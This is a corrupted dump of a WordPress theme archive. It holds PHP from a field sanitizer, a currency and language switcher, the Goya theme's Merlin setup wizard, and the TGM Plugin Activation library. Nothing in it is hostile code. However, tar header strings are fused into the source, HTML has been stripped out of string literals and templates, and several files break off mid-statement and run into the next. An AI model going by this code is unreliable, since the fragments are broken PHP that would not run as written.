value. * @return string|array */ private function sanitize_text( $value ) { return is_array( $value ) ? array_map( __METHOD__, $value ) : sanitize_text_field( $value ); } /** * Sanitize file, image field. * * @param array $value The submitted value. * @param array $field The field settings. * @return array */ private function sanitize_file( $value, $field ) { return $field['upload_dir'] ? array_map( 'esc_url_raw', $value ) : $this->sanitize_object( $value ); } /** * Sanitize slider field. * * @param mixed $value The submitted value. * @param array $field The field settings. * @return string|int|float */ private function sanitize_slider( $value, $field ) { return true === $field['js_options']['range'] ? sanitize_text_field( $value ) : $this->sanitize_number( $value ); } /** * Sanitize datetime field. * * @param mixed $value The submitted value. * @param array $field The field settings. * @return float|string */ private function sanitize_datetime( $value, $field ) { return $field['timestamp'] ? (float) $value : sanitize_text_field( $value ); } private function sanitize_map( $value ): string { $value = sanitize_text_field( $value ); list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' ); $latitude = (float) $latitude; $longitude = (float) $longitude; $zoom = (int) $zoom; return "$latitude,$longitude,$zoom"; } private function sanitize_taxonomy_advanced( $value ): string { return implode( ',', wp_parse_id_list( $value ) ); } private function sanitize_url( string $value ): string { return esc_url_raw( $value ); } } bootstrap.php000064400000000406151546163260007303 0ustar00 '', 'direction' => 'down' ) ); $currencies = $WOOCS->get_currencies(); $currency_list = array(); foreach ( $currencies as $key => $currency ) { if ( $WOOCS->current_currency == $key ) { array_unshift( $currency_list, sprintf( '
  • %s
  • ', esc_attr( $currency['name'] ), esc_html( $currency['name'] ) ) ); } else { $currency_list[] = sprintf( '
  • %s
  • ', esc_attr( $currency['name'] ), esc_html( $currency['name'] ) ); } } ?>
    '%code%')); ?>
    1)); } else if (function_exists('icl_get_languages')) { $languages = icl_get_languages('skip_missing=0'); } ?>
    'inc/merlin', // Location / directory where Merlin WP is placed in your theme. 'merlin_url' => 'merlin', // The wp-admin page slug where Merlin WP loads. 'parent_slug' => 'themes.php', // The wp-admin parent page slug for the admin menu item. 'capability' => 'manage_options', // The capability required for this menu to be displayed to the user. 'child_action_btn_url' => 'https://codex.wordpress.org/child_themes', // URL for the 'child-action-link'. 'dev_mode' => true, // Enable development mode for testing. 'license_step' => false, // EDD license activation step. 'license_required' => false, // Require the license activation step. 'license_help_url' => '', // URL for the 'license-tooltip'. 'edd_remote_api_url' => '', // EDD_Theme_Updater_Admin remote_api_url. 'edd_item_name' => '', // EDD_Theme_Updater_Admin item_name. 'edd_theme_slug' => '', // EDD_Theme_Updater_Admin item_slug. 'ready_big_button_url' => home_url( '/' ), // Link for the big button on the ready step. ), $strings = array( 'admin-menu' => esc_html__( 'Theme Setup', '@@textdomain' ), /* translators: 1: Title Tag 2: Theme Name 3: Closing Title Tag */ 'title%s%s%s%s' => esc_html__( '%1$s%2$s Themes ‹ Theme Setup: %3$s%4$s', '@@textdomain' ), 'return-to-dashboard' => esc_html__( 'Return to the dashboard', '@@textdomain' ), 'ignore' => esc_html__( 'Disable this wizard', '@@textdomain' ), 'btn-skip' => esc_html__( 'Skip', '@@textdomain' ), 'btn-next' => esc_html__( 'Next', '@@textdomain' ), 'btn-start' => esc_html__( 'Start', '@@textdomain' ), 'btn-no' => esc_html__( 'Cancel', '@@textdomain' ), 'btn-plugins-install' => esc_html__( 'Install', '@@textdomain' ), 'btn-child-install' => esc_html__( 'Install', '@@textdomain' ), 'btn-content-install' => esc_html__( 'Install', '@@textdomain' ), 'btn-import' => esc_html__( 'Import', '@@textdomain' ), 'btn-license-activate' => esc_html__( 'Activate', '@@textdomain' ), 'btn-license-skip' => esc_html__( 'Later', '@@textdomain' ), /* translators: Theme Name */ 'license-header%s' => esc_html__( 'Activate %s', '@@textdomain' ), /* translators: Theme Name */ 'license-header-success%s' => esc_html__( '%s is Activated', '@@textdomain' ), /* translators: Theme Name */ 'license%s' => esc_html__( 'Enter your license key to enable remote updates and theme support.', '@@textdomain' ), 'license-label' => esc_html__( 'License key', '@@textdomain' ), 'license-success%s' => esc_html__( 'The theme is already registered, so you can go to the next step!', '@@textdomain' ), 'license-json-success%s' => esc_html__( 'Your theme is activated! Remote updates and theme support are enabled.', '@@textdomain' ), 'license-tooltip' => esc_html__( 'Need help?', '@@textdomain' ), /* translators: Theme Name */ 'welcome-header%s' => esc_html__( 'Welcome to %s', '@@textdomain' ), 'welcome-header-success%s' => esc_html__( 'Hi. Welcome back', '@@textdomain' ), 'welcome%s' => esc_html__( 'This wizard will set up your theme, install plugins, and import content. It should take only a few minutes.', '@@textdomain' ), 'welcome-success%s' => esc_html__( 'You may have already run this theme setup wizard. If you would like to proceed anyway, click on the "Start" button below.', '@@textdomain' ), 'child-header' => esc_html__( 'Install Child Theme', '@@textdomain' ), 'child-header-success' => esc_html__( 'You\'re good to go!', '@@textdomain' ), 'child' => esc_html__( 'Let\'s build & activate a child theme so you may easily make theme changes.', '@@textdomain' ), 'child-success%s' => esc_html__( 'Your child theme has already been installed and is now activated, if it wasn\'t already.', '@@textdomain' ), 'child-action-link' => esc_html__( 'Learn about child themes', '@@textdomain' ), 'child-json-success%s' => esc_html__( 'Awesome. Your child theme has already been installed and is now activated.', '@@textdomain' ), 'child-json-already%s' => esc_html__( 'Awesome. Your child theme has been created and is now activated.', '@@textdomain' ), 'plugins-header' => esc_html__( 'Install Plugins', '@@textdomain' ), 'plugins-header-success' => esc_html__( 'You\'re up to speed!', '@@textdomain' ), 'plugins' => esc_html__( 'Let\'s install some essential WordPress plugins to get your site up to speed.', '@@textdomain' ), 'plugins-success%s' => esc_html__( 'The required WordPress plugins are all installed and up to date. Press "Next" to continue the setup wizard.', '@@textdomain' ), 'plugins-action-link' => esc_html__( 'Advanced', '@@textdomain' ), 'import-header' => esc_html__( 'Import Content', '@@textdomain' ), 'import' => esc_html__( 'Let\'s import content to your website. This could take some minutes. Please wait.', '@@textdomain' ), 'import-demo-link' => sprintf( '%2$s', 'https://goya.everthemes.com/#home-cards', esc_html__( 'Explore Demos', '@@textdomain' ) ), 'import-action-link' => esc_html__( 'Advanced', '@@textdomain' ), 'ready-header' => esc_html__( 'All done. Have fun!', '@@textdomain' ), /* translators: Theme Author */ 'ready%s' => esc_html__( 'Your theme has been all set up. Enjoy your new theme by %s.', '@@textdomain' ), 'ready-action-link' => esc_html__( 'Extras', '@@textdomain' ), 'ready-big-button' => esc_html__( 'View your website', '@@textdomain' ), 'ready-link-1' => sprintf( '%2$s', 'https://wordpress.org/support/', esc_html__( 'Explore WordPress', '@@textdomain' ) ), 'ready-link-2' => sprintf( '%2$s', 'https://themebeans.com/contact/', esc_html__( 'Get Theme Support', '@@textdomain' ) ), 'ready-link-3' => sprintf( '%2$s', admin_url( 'customize.php' ), esc_html__( 'Start Customizing', '@@textdomain' ) ), ) ); admin/setup/merlin-filters.php000064400000006273151546501460012460 0ustar00 array(), ); return $widget_areas; } add_filter( 'merlin_unset_default_widgets_args', 'goya_merlin_unset_default_widgets_args' ); /** * Custom content for the generated child theme's functions.php file. * * @param string $output Generated content. * @param string $slug Parent theme slug. */ function goya_generate_child_functions_php( $output, $slug ) { $slug_no_hyphens = strtolower( preg_replace( '#[^a-zA-Z]#', '', $slug ) ); $output = " wp_version = $GLOBALS['wp_version']; // Announce that the class is ready, and pass the object (for advanced use). do_action_ref_array( 'tgmpa_init', array( $this ) ); /* * Load our text domain and allow for overloading the fall-back file. * * {@internal IMPORTANT! If this code changes, review the regex in the custom TGMPA * generator on the website.}} */ add_action( 'init', array( $this, 'load_textdomain' ), 5 ); add_filter( 'load_textdomain_mofile', array( $this, 'overload_textdomain_mofile' ), 10, 2 ); // When the rest of WP has loaded, kick-start the rest of the class. add_action( 'init', array( $this, 'init' ) ); } /** * Magic method to (not) set protected properties from outside of this class. * * {@internal hackedihack... There is a serious bug in v2.3.2 - 2.3.6 where the `menu` property * is being assigned rather than tested in a conditional, effectively rendering it useless. * This 'hack' prevents this from happening.}} * * @see https://github.com/TGMPA/TGM-Plugin-Activation/blob/2.3.6/tgm-plugin-activation/class-tgm-plugin-activation.php#L1593 * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @param mixed $value Value to assign to the property. * @return void Silently fail to set the property when this is tried from outside of this class context. * (Inside this class context, the __set() method if not used as there is direct access.) */ public function __set( $name, $value ) { return; } /** * Magic method to get the value of a protected property outside of this class context. * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @return mixed The property value. */ public function __get( $name ) { return $this->{$name}; } /** * Initialise the interactions between this class and WordPress. * * Hooks in three new methods for the class: admin_menu, notices and styles. * * @since 2.0.0 * * @see TGM_Plugin_Activation::admin_menu() * @see TGM_Plugin_Activation::notices() * @see TGM_Plugin_Activation::styles() */ public function init() { /** * By default TGMPA only loads on the WP back-end and not in an Ajax call. Using this filter * you can overrule that behaviour. * * @since 2.5.0 * * @param bool $load Whether or not TGMPA should load. * Defaults to the return of `is_admin() && ! defined( 'DOING_AJAX' )`. */ if ( true !== apply_filters( 'tgmpa_load', ( is_admin() && ! defined( 'DOING_AJAX' ) ) ) ) { return; } // Load class strings. $this->strings = array( 'page_title' => __( 'Install Required Plugins', 'tgmpa' ), 'menu_title' => __( 'Install Plugins', 'tgmpa' ), /* translators: %s: plugin name. */ 'installing' => __( 'Installing Plugin: %s', 'tgmpa' ), /* translators: %s: plugin name. */ 'updating' => __( 'Updating Plugin: %s', 'tgmpa' ), 'oops' => __( 'Something went wrong with the plugin API.', 'tgmpa' ), 'notice_can_install_required' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'tgmpa' ), 'notice_can_install_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'tgmpa' ), 'notice_ask_to_update' => _n_noop( /* translators: 1: plugin name(s). */ 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'tgmpa' ), 'notice_ask_to_update_maybe' => _n_noop( /* translators: 1: plugin name(s). */ 'There is an update available for: %1$s.', 'There are updates available for the following plugins: %1$s.', 'tgmpa' ), 'notice_can_activate_required' => _n_noop( /* translators: 1: plugin name(s). */ 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'tgmpa' ), 'notice_can_activate_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'tgmpa' ), 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'tgmpa' ), 'update_link' => _n_noop( 'Begin updating plugin', 'Begin updating plugins', 'tgmpa' ), 'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'tgmpa' ), 'return' => __( 'Return to Required Plugins Installer', 'tgmpa' ), 'dashboard' => __( 'Return to the Dashboard', 'tgmpa' ), 'plugin_activated' => __( 'Plugin activated successfully.', 'tgmpa' ), 'activated_successfully' => __( 'The following plugin was activated successfully:', 'tgmpa' ), /* translators: 1: plugin name. */ 'plugin_already_active' => __( 'No action taken. Plugin %1$s was already active.', 'tgmpa' ), /* translators: 1: plugin name. */ 'plugin_needs_higher_version' => __( 'Plugin not activated. A higher version of %s is needed for this theme. Please update the plugin.', 'tgmpa' ), /* translators: 1: dashboard link. */ 'complete' => __( 'All plugins installed and activated successfully. %1$s', 'tgmpa' ), 'dismiss' => __( 'Dismiss this notice', 'tgmpa' ), 'notice_cannot_install_activate' => __( 'There are one or more required or recommended plugins to install, update or activate.', 'tgmpa' ), 'contact_admin' => __( 'Please contact the administrator of this site for help.', 'tgmpa' ), ); do_action( 'tgmpa_register' ); /* After this point, the plugins should be registered and the configuration set. */ // Proceed only if we have plugins to handle. if ( empty( $this->plugins ) || ! is_array( $this->plugins ) ) { return; } // Set up the menu and notices if we still have outstanding actions. if ( true !== $this->is_tgmpa_complete() ) { // Sort the plugins. array_multisort( $this->sort_order, SORT_ASC, $this->plugins ); add_action( 'admin_menu', array( $this, 'admin_menu' ) ); add_action( 'admin_head', array( $this, 'dismiss' ) ); // Prevent the normal links from showing underneath a single install/update page. add_filter( 'install_plugin_complete_actions', array( $this, 'actions' ) ); add_filter( 'update_plugin_complete_actions', array( $this, 'actions' ) ); if ( $this->has_notices ) { add_action( 'admin_notices', array( $this, 'notices' ) ); add_action( 'admin_init', array( $this, 'admin_init' ), 1 ); add_action( 'admin_enqueue_scripts', array( $this, 'thickbox' ) ); } } // If needed, filter plugin action links. add_action( 'load-plugins.php', array( $this, 'add_plugin_action_link_filters' ), 1 ); // Make sure things get reset on switch theme. add_action( 'switch_theme', array( $this, 'flush_plugins_cache' ) ); if ( $this->has_notices ) { add_action( 'switch_theme', array( $this, 'update_dismiss' ) ); } // Setup the force activation hook. if ( true === $this->has_forced_activation ) { add_action( 'admin_init', array( $this, 'force_activation' ) ); } // Setup the force deactivation hook. if ( true === $this->has_forced_deactivation ) { add_action( 'switch_theme', array( $this, 'force_deactivation' ) ); } } /** * Load translations. * * @since 2.6.0 * * (@internal Uses `load_theme_textdomain()` rather than `load_plugin_textdomain()` to * get round the different ways of handling the path and deprecated notices being thrown * and such. For plugins, the actual file name will be corrected by a filter.}} * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} */ public function load_textdomain() { if ( is_textdomain_loaded( 'tgmpa' ) ) { return; } if ( false !== strpos( __FILE__, WP_PLUGIN_DIR ) || false !== strpos( __FILE__, WPMU_PLUGIN_DIR ) ) { // Plugin, we'll need to adjust the file name. add_action( 'load_textdomain_mofile', array( $this, 'correct_plugin_mofile' ), 10, 2 ); load_theme_textdomain( 'tgmpa', dirname( __FILE__ ) . '/languages' ); remove_action( 'load_textdomain_mofile', array( $this, 'correct_plugin_mofile' ), 10 ); } else { load_theme_textdomain( 'tgmpa', dirname( __FILE__ ) . '/languages' ); } } /** * Correct the .mo file name for (must-use) plugins. * * Themese use `/path/{locale}.mo` while plugins use `/path/{text-domain}-{locale}.mo`. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.6.0 * * @param string $mofile Full path to the target mofile. * @param string $domain The domain for which a language file is being loaded. * @return string $mofile */ public function correct_plugin_mofile( $mofile, $domain ) { // Exit early if not our domain (just in case). if ( 'tgmpa' !== $domain ) { return $mofile; } return preg_replace( '`/([a-z]{2}_[A-Z]{2}.mo)$`', '/tgmpa-$1', $mofile ); } /** * Potentially overload the fall-back translation file for the current language. * * WP, by default since WP 3.7, will load a local translation first and if none * can be found, will try and find a translation in the /wp-content/languages/ directory. * As this library is theme/plugin agnostic, translation files for TGMPA can exist both * in the WP_LANG_DIR /plugins/ subdirectory as well as in the /themes/ subdirectory. * * This method makes sure both directories are checked. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.6.0 * * @param string $mofile Full path to the target mofile. * @param string $domain The domain for which a language file is being loaded. * @return string $mofile */ public function overload_textdomain_mofile( $mofile, $domain ) { // Exit early if not our domain, not a WP_LANG_DIR load or if the file exists and is readable. if ( 'tgmpa' !== $domain || false === strpos( $mofile, WP_LANG_DIR ) || @is_readable( $mofile ) ) { return $mofile; } // Current fallback file is not valid, let's try the alternative option. if ( false !== strpos( $mofile, '/themes/' ) ) { return str_replace( '/themes/', '/plugins/', $mofile ); } elseif ( false !== strpos( $mofile, '/plugins/' ) ) { return str_replace( '/plugins/', '/themes/', $mofile ); } else { return $mofile; } } /** * Hook in plugin action link filters for the WP native plugins page. * * - Prevent activation of plugins which don't meet the minimum version requirements. * - Prevent deactivation of force-activated plugins. * - Add update notice if update available. * * @since 2.5.0 */ public function add_plugin_action_link_filters() { foreach ( $this->plugins as $slug => $plugin ) { if ( false === $this->can_plugin_activate( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_activate' ), 20 ); } if ( true === $plugin['force_activation'] ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_deactivate' ), 20 ); } if ( false !== $this->does_plugin_require_update( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_update' ), 20 ); } } } /** * Remove the 'Activate' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_activate( $actions ) { unset( $actions['activate'] ); return $actions; } /** * Remove the 'Deactivate' link on the WP native plugins page if the plugin has been set to force activate. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_deactivate( $actions ) { unset( $actions['deactivate'] ); return $actions; } /** * Add a 'Requires update' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_update( $actions ) { $actions['update'] = sprintf( '%3$s', esc_url( $this->get_tgmpa_status_url( 'update' ) ), esc_attr__( 'This plugin needs to be updated to be compatible with your theme.', 'tgmpa' ), esc_html__( 'Update Required', 'tgmpa' ) ); return $actions; } /** * Handles calls to show plugin information via links in the notices. * * We get the links in the admin notices to point to the TGMPA page, rather * than the typical plugin-install.php file, so we can prepare everything * beforehand. * * WP does not make it easy to show the plugin information in the thickbox - * here we have to require a file that includes a function that does the * main work of displaying it, enqueue some styles, set up some globals and * finally call that function before exiting. * * Down right easy once you know how... * * Returns early if not the TGMPA page. * * @since 2.1.0 * * @global string $tab Used as iframe div class names, helps with styling * @global string $body_id Used as the iframe body ID, helps with styling * * @return null Returns early if not the TGMPA page. */ public function admin_init() { if ( ! $this->is_tgmpa_page() ) { return; } if ( isset( $_REQUEST['tab'] ) && 'plugin-information' === $_REQUEST['tab'] ) { // Needed for install_plugin_information(). require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; wp_enqueue_style( 'plugin-install' ); global $tab, $body_id; $body_id = 'plugin-information'; // @codingStandardsIgnoreStart $tab = 'plugin-information'; // @codingStandardsIgnoreEnd install_plugin_information(); exit; } } /** * Enqueue thickbox scripts/styles for plugin info. * * Thickbox is not automatically included on all admin pages, so we must * manually enqueue it for those pages. * * Thickbox is only loaded if the user has not dismissed the admin * notice or if there are any plugins left to install and activate. * * @since 2.1.0 */ public function thickbox() { if ( ! get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) { add_thickbox(); } } /** * Adds submenu page if there are plugin actions to take. * * This method adds the submenu page letting users know that a required * plugin needs to be installed. * * This page disappears once the plugin has been installed and activated. * * @since 1.0.0 * * @see TGM_Plugin_Activation::init() * @see TGM_Plugin_Activation::install_plugins_page() * * @return null Return early if user lacks capability to install a plugin. */ public function admin_menu() { // Make sure privileges are correct to see the page. if ( ! current_user_can( 'install_plugins' ) ) { return; } $args = apply_filters( 'tgmpa_admin_menu_args', array( 'parent_slug' => $this->parent_slug, // Parent Menu slug. 'page_title' => $this->strings['page_title'], // Page title. 'menu_title' => $this->strings['menu_title'], // Menu title. 'capability' => $this->capability, // Capability. 'menu_slug' => $this->menu, // Menu slug. 'function' => array( $this, 'install_plugins_page' ), // Callback. ) ); $this->add_admin_menu( $args ); } /** * Add the menu item. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.5.0 * * @param array $args Menu item configuration. */ protected function add_admin_menu( array $args ) { $this->page_hook = add_theme_page( $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] ); } /** * Echoes plugin installation form. * * This method is the callback for the admin_menu method function. * This displays the admin page and form area where the user can select to install and activate the plugin. * Aborts early if we're processing a plugin installation action. * * @since 1.0.0 * * @return null Aborts early if we're processing a plugin installation action. */ public function install_plugins_page() { // Store new instance of plugin table in object. $plugin_table = new TGMPA_List_Table; // Return early if processing a plugin installation action. if ( ( ( 'tgmpa-bulk-install' === $plugin_table->current_action() || 'tgmpa-bulk-update' === $plugin_table->current_action() ) && $plugin_table->process_bulk_actions() ) || $this->do_plugin_install() ) { return; } // Force refresh of available plugin information so we'll know about manual updates/deletes. wp_clean_plugins_cache( false ); ?>

    prepare_items(); ?> message ) && is_string( $this->message ) ) { echo wp_kses_post( $this->message ); } ?> views(); ?>
    display(); ?>
    sanitize_key( urldecode( $_GET['plugin'] ) ); if ( ! isset( $this->plugins[ $slug ] ) ) { return false; } // Was an install or upgrade action link clicked? if ( ( isset( $_GET['tgmpa-install'] ) && 'install-plugin' === $_GET['tgmpa-install'] ) || ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) ) { $install_type = 'install'; if ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) { $install_type = 'update'; } check_admin_referer( 'tgmpa-' . $install_type, 'tgmpa-nonce' ); // Pass necessary information via URL if WP_Filesystem is needed. $url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $slug ), 'tgmpa-' . $install_type => $install_type . '-plugin', ), $this->get_tgmpa_url() ), 'tgmpa-' . $install_type, 'tgmpa-nonce' ); $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, array() ) ) ) { return true; } if ( ! WP_Filesystem( $creds ) ) { request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, array() ); // Setup WP_Filesystem. return true; } /* If we arrive here, we have the filesystem. */ // Prep variables for Plugin_Installer_Skin class. $extra = array(); $extra['slug'] = $slug; // Needed for potentially renaming of directory name. $source = $this->get_download_url( $slug ); $api = ( 'repo' === $this->plugins[ $slug ]['source_type'] ) ? $this->get_plugins_api( $slug ) : null; $api = ( false !== $api ) ? $api : null; $url = add_query_arg( array( 'action' => $install_type . '-plugin', 'plugin' => urlencode( $slug ), ), 'update.php' ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $title = ( 'update' === $install_type ) ? $this->strings['updating'] : $this->strings['installing']; $skin_args = array( 'type' => ( 'bundled' !== $this->plugins[ $slug ]['source_type'] ) ? 'web' : 'upload', 'title' => sprintf( $title, $this->plugins[ $slug ]['name'] ), 'url' => esc_url_raw( $url ), 'nonce' => $install_type . '-plugin_' . $slug, 'plugin' => '', 'api' => $api, 'extra' => $extra, ); unset( $title ); if ( 'update' === $install_type ) { $skin_args['plugin'] = $this->plugins[ $slug ]['file_path']; $skin = new Plugin_Upgrader_Skin( $skin_args ); } else { $skin = new Plugin_Installer_Skin( $skin_args ); } // Create a new instance of Plugin_Upgrader. $upgrader = new Plugin_Upgrader( $skin ); // Perform the action and install the plugin from the $source urldecode(). add_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'update' === $install_type ) { // Inject our info into the update transient. $to_inject = array( $slug => $this->plugins[ $slug ] ); $to_inject[ $slug ]['source'] = $source; $this->inject_update_info( $to_inject ); $upgrader->upgrade( $this->plugins[ $slug ]['file_path'] ); } else { $upgrader->install( $source ); } remove_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1 ); // Make sure we have the correct file path now the plugin is installed/updated. $this->populate_file_path( $slug ); // Only activate plugins if the config option is set to true and the plugin isn't // already active (upgrade). if ( $this->is_automatic && ! $this->is_plugin_active( $slug ) ) { $plugin_activate = $upgrader->plugin_info(); // Grab the plugin info from the Plugin_Upgrader method. if ( false === $this->activate_single_plugin( $plugin_activate, $slug, true ) ) { return true; // Finish execution of the function early as we encountered an error. } } $this->show_tgmpa_version(); // Display message based on if all plugins are now active or not. if ( $this->is_tgmpa_complete() ) { echo '

    ', sprintf( esc_html( $this->strings['complete'] ), '' . esc_html__( 'Return to the Dashboard', 'tgmpa' ) . '' ), '

    '; echo ''; } else { echo '

    ', esc_html( $this->strings['return'] ), '

    '; } return true; } elseif ( isset( $this->plugins[ $slug ]['file_path'], $_GET['tgmpa-activate'] ) && 'activate-plugin' === $_GET['tgmpa-activate'] ) { // Activate action link was clicked. check_admin_referer( 'tgmpa-activate', 'tgmpa-nonce' ); if ( false === $this->activate_single_plugin( $this->plugins[ $slug ]['file_path'], $slug ) ) { return true; // Finish execution of the function early as we encountered an error. } } return false; } /** * Inject information into the 'update_plugins' site transient as WP checks that before running an update. * * @since 2.5.0 * * @param array $plugins The plugin information for the plugins which are to be updated. */ public function inject_update_info( $plugins ) { $repo_updates = get_site_transient( 'update_plugins' ); if ( ! is_object( $repo_updates ) ) { $repo_updates = new stdClass; } foreach ( $plugins as $slug => $plugin ) { $file_path = $plugin['file_path']; if ( empty( $repo_updates->response[ $file_path ] ) ) { $repo_updates->response[ $file_path ] = new stdClass; } // We only really need to set package, but let's do all we can in case WP changes something. $repo_updates->response[ $file_path ]->slug = $slug; $repo_updates->response[ $file_path ]->plugin = $file_path; $repo_updates->response[ $file_path ]->new_version = $plugin['version']; $repo_updates->response[ $file_path ]->package = $plugin['source']; if ( empty( $repo_updates->response[ $file_path ]->url ) && ! empty( $plugin['external_url'] ) ) { $repo_updates->response[ $file_path ]->url = $plugin['external_url']; } } set_site_transient( 'update_plugins', $repo_updates ); } /** * Adjust the plugin directory name if necessary. * * The final destination directory of a plugin is based on the subdirectory name found in the * (un)zipped source. In some cases - most notably GitHub repository plugin downloads -, this * subdirectory name is not the same as the expected slug and the plugin will not be recognized * as installed. This is fixed by adjusting the temporary unzipped source subdirectory name to * the expected plugin slug. * * @since 2.5.0 * * @param string $source Path to upgrade/zip-file-name.tmp/subdirectory/. * @param string $remote_source Path to upgrade/zip-file-name.tmp. * @param \WP_Upgrader $upgrader Instance of the upgrader which installs the plugin. * @return string $source */ public function maybe_adjust_source_dir( $source, $remote_source, $upgrader ) { if ( ! $this->is_tgmpa_page() || ! is_object( $GLOBALS['wp_filesystem'] ) ) { return $source; } // Check for single file plugins. $source_files = array_keys( $GLOBALS['wp_filesystem']->dirlist( $remote_source ) ); if ( 1 === count( $source_files ) && false === $GLOBALS['wp_filesystem']->is_dir( $source ) ) { return $source; } // Multi-file plugin, let's see if the directory is correctly named. $desired_slug = ''; // Figure out what the slug is supposed to be. if ( false === $upgrader->bulk && ! empty( $upgrader->skin->options['extra']['slug'] ) ) { $desired_slug = $upgrader->skin->options['extra']['slug']; } else { // Bulk installer contains less info, so fall back on the info registered here. foreach ( $this->plugins as $slug => $plugin ) { if ( ! empty( $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) && $plugin['name'] === $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) { $desired_slug = $slug; break; } } unset( $slug, $plugin ); } if ( ! empty( $desired_slug ) ) { $subdir_name = untrailingslashit( str_replace( trailingslashit( $remote_source ), '', $source ) ); if ( ! empty( $subdir_name ) && $subdir_name !== $desired_slug ) { $from_path = untrailingslashit( $source ); $to_path = trailingslashit( $remote_source ) . $desired_slug; if ( true === $GLOBALS['wp_filesystem']->move( $from_path, $to_path ) ) { return trailingslashit( $to_path ); } else { return new WP_Error( 'rename_failed', esc_html__( 'The remote plugin package does not contain a folder with the desired slug and renaming did not work.', 'tgmpa' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'tgmpa' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } elseif ( empty( $subdir_name ) ) { return new WP_Error( 'packaged_wrong', esc_html__( 'The remote plugin package consists of more than one file, but the files are not packaged in a folder.', 'tgmpa' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'tgmpa' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } return $source; } /** * Activate a single plugin and send feedback about the result to the screen. * * @since 2.5.0 * * @param string $file_path Path within wp-plugins/ to main plugin file. * @param string $slug Plugin slug. * @param bool $automatic Whether this is an automatic activation after an install. Defaults to false. * This determines the styling of the output messages. * @return bool False if an error was encountered, true otherwise. */ protected function activate_single_plugin( $file_path, $slug, $automatic = false ) { if ( $this->can_plugin_activate( $slug ) ) { $activate = activate_plugin( $file_path ); if ( is_wp_error( $activate ) ) { echo '

    ', wp_kses_post( $activate->get_error_message() ), '

    ', '

    ', esc_html( $this->strings['return'] ), '

    '; return false; // End it here if there is an error with activation. } else { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK. echo '

    ', esc_html( $this->strings['activated_successfully'] ), ' ', esc_html( $this->plugins[ $slug ]['name'] ), '.

    '; } } else { // Simpler message layout for use on the plugin install page. echo '

    ', esc_html( $this->strings['plugin_activated'] ), '

    '; } } } elseif ( $this->is_plugin_active( $slug ) ) { // No simpler message format provided as this message should never be encountered // on the plugin install page. echo '

    ', sprintf( esc_html( $this->strings['plugin_already_active'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

    '; } elseif ( $this->does_plugin_require_update( $slug ) ) { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK. echo '

    ', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

    '; } } else { // Simpler message layout for use on the plugin install page. echo '

    ', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), esc_html( $this->plugins[ $slug ]['name'] ) ), '

